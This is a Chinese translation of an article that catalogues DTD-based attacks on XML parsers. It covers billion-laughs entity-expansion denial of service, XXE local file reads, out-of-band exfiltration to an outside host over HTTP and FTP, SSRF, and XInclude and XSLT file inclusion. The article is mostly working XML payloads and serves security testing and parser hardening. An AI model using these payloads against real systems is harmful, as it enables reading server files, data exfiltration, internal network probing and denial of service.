当评估基于 XML 服务的安全性时,不能忘了基于的 DTD 的攻击,例如:XML外部实体注入攻击(XXE)。
本文中我们将提供一个全面的针对 DTD 不同类型的攻击列表。
攻击分类如下:
拒绝服务攻击(DDoS)
基本的 XXE 攻击
高级的 XXE 攻击
服务器端请求伪造攻击(SSRF)
XML 包含机制(XInclude)
扩展样式表转换语言(XSLT)
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>
如果解析过程变的非常缓慢,则表明测试成功,即目标解析器配置不安全可能遭受至少一种 DDoS 攻击。
译者注:“Billion Laughs” 攻击 —— 通过创建一项递归的 XML 定义,在内存中生成十亿个“Ha!”字符串,从而导致 DDoS 攻击。原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中。
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
这个文件只有 30 Kb大小但却有 11111 个实体引用,超出了合法的实体引用数量上限。
<!DOCTYPE data SYSTEM "http://127.0.0.1:5000/dos_indirections_parameterEntity_wfc.dtd" [
<!ELEMENT data (#PCDATA)>
]>
<data>&g;</data>
文件位于:http://publicServer.com/dos.dtd
<!ENTITY % a0 "dos" >
<!ENTITY % a1 "%a0;%a0;%a0;%a0;%a0;%a0;%a0;%a0;%a0;%a0;">
<!ENTITY % a2 "%a1;%a1;%a1;%a1;%a1;%a1;%a1;%a1;%a1;%a1;">
<!ENTITY % a3 "%a2;%a2;%a2;%a2;%a2;%a2;%a2;%a2;%a2;%a2;">
<!ENTITY % a4 "%a3;%a3;%a3;%a3;%a3;%a3;%a3;%a3;%a3;%a3;">
<!ENTITY g "%a4;" >
<!DOCTYPE data [
<!ENTITY a0 "dosdosdosdosdosdos...dos"
]>
<data>&a0;&a0;...&a0;</data>
最好不要使用递归 — [WFC: No Recursion]
<!DOCTYPE data [
<!ENTITY a "a&b;" >
<!ENTITY b "&a;" >
]>
<data>&a;</data>
这种攻击方式是通过申明一个外部一般实体,然后引用位于网上或本地的一个大文件(例如:C:/pagefile.sys 或 /dev/random)。
然而,这种攻击只是让解析器解析一个 巨大的 XML 文件而已。
<?xml version='1.0'?>
<!DOCTYPE data [
<!ENTITY dos SYSTEM "file:///publicServer.com/largeFile.xml" >
]>
<data>&dos;</data>
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///sys/power/image_size">
]>
<data>&file;</data>
我们以文件 ‘/sys/power/image_size’ 为例,因为它非常短小只有一行且不包含特殊字符。
这种攻击需要一个直接的反馈通道并且读取文件受到 XML 中禁止字符的限制,如 “<” 和 “&”。
如果这些被禁止的字符出现在要访问的文件中(如:/etc/fstab),则 XML 解析器会抛出一个错误并停止解析。
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#PCDATA)>
<!ENTITY file SYSTEM "netdoc:/sys/power/image_size">
]>
<data>&file;</data>
这类攻击为高级的 XXE 攻击,用于绕过对基本的 XXE 攻击的限制和 OOB(外带数据) 攻击
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///sys/power/image_size">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://publicServer.com/parameterEntity_core.dtd">
%dtd;
]>
<data>&all;</data>
文件位于:http://publicServer.com/parameterEntity_core.dtd
<!ENTITY all '%start;%goodies;%end;'>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
%remote;
]>
<data attrib='&internal;'/>
文件位于:http://publicServer.com/external_entity_attribute.dtd
<!ENTITY % payload SYSTEM "file:///sys/power/image_size">
<!ENTITY % param1 "<!ENTITY internal '%payload;'>">
%param1;
没有可以直接回传的通道不意味着就不存在 XXE 攻击。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
<data>&send;</data>
文件位于:http://publicServer.com/parameterEntity_oob.dtd
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
%all;
和前面的攻击很像,区别仅在于只使用参数实体。
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/parameterEntity_sendhttp.dtd">
%remote;
%send;
]>
<data>4</data>
文件位于:http://publicServer.com/parameterEntity_sendhttp.dtd
<!ENTITY % payload SYSTEM "file:///sys/power/image_size">
<!ENTITY % param1 "<!ENTITY % send SYSTEM 'http://publicServer.com/%payload;'>">
%param1;
使用 FTP 协议,攻击者可以读取到任意长度的文件。
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/parameterEntity_sendftp.dtd">
%remote;
%send;
]>
<data>4</data>
文件位于:http://publicServer.com/parameterEntity_sendftp.dtd
<!ENTITY % payload SYSTEM "file:///sys/power/image_size">
<!ENTITY % param1 "<!ENTITY % send SYSTEM 'ftp://publicServer.com/%payload;'>">
%param1;
这种攻击需要配置 FTP 服务器。不过,这个 POC 代码只需要稍作调整即可用于任意的解析器上。
这里有三种不同的攻击方式:(i) schemaLocation,(ii) noNamespaceSchemaLocation 和 (iii) XInclude。
<?xml version='1.0'?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
%remote;
]>
<ttt:data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:ttt="http://test.com/attack"
xsi:schemaLocation="ttt http://publicServer.com/&internal;">4</ttt:data>
<?xml version='1.0'?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
%remote;
]>
<data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="http://publicServer.com/&internal;"></data>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
%remote;
]>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://192.168.2.31/&internal;" parse="text"></xi:include></data>
文件位于:http://publicServer.com/external_entity_attribute.dtd
<!ENTITY % payload SYSTEM "file:///sys/power/image_size">
<!ENTITY % param1 "<!ENTITY internal '%payload;'>">
%param1;
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>
<?xml version='1.0'?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY remote SYSTEM "http://internalSystem.com/file.xml">
]>
<data>&remote;</data>
尽管为了不引起错误,最好是引用格式良好的 XML 文件(或者任何文本文件),但一些解析器可能还是会调用 URL 引用格式有问题的文件。
<?xml version='1.0'?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY % remote SYSTEM "http://publicServer.com/url_invocation_parameterEntity.dtd">
%remote;
]>
<data>4</data>
文件位于:http://publicServer.com/url_invocation_parameterEntity.dtd
<!ELEMENT data2 (#ANY)>
<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"></xi:include></data>
文件位于:http://publicServer.com/file.xml
<?xml version='1.0' encoding='utf-8'?><data>it_works</data>
<?xml version='1.0'?>
<ttt:data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:ttt="http://test.com/attack"
xsi:schemaLocation="http://publicServer.com/url_invocation_schemaLocation.xsd">4</ttt:data>
文件位于:http://publicServer.com/url_invocation_schemaLocation.xsd
<?xml version="1.0" encoding="UTF-8"?>
<xs:schema
xmlns:xs="http://www.w3.org/2001/XMLSchema">
<xs:element name="data" type="xs:string"/>
</xs:schema>
或者使用这个文件
<?xml version="1.0" encoding="UTF-8"?>
<xs:schema
xmlns:xs="http://www.w3.org/2001/XMLSchema"
targetNamespace="http://test.com/attack">
<xs:element name="data" type="xs:string"/>
</xs:schema>
<?xml version='1.0'?>
<data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="http://publicServer.com/url_invocation_noNamespaceSchemaLocation.xsd">4</data>
文件位于:http://publicServer.com/url_invocation_noNamespaceSchemaLocation.xsd
<?xml version="1.0" encoding="UTF-8"?>
<xs:schema
xmlns:xs="http://www.w3.org/2001/XMLSchema">
<xs:element name="data" type="xs:string"/>
</xs:schema>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="/sys/power/image_size"></xi:include></data>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/sys/power/image_size')">
</xsl:value-of></xsl:template>
</xsl:stylesheet>
Christopher Späth
Christian Mainka (@CheariX)
Vladislav Mladenov
*原文:web-in-security,FB小编xiaix编译,转自须注明来自FreeBuf黑客与极客(FreeBuf.COM)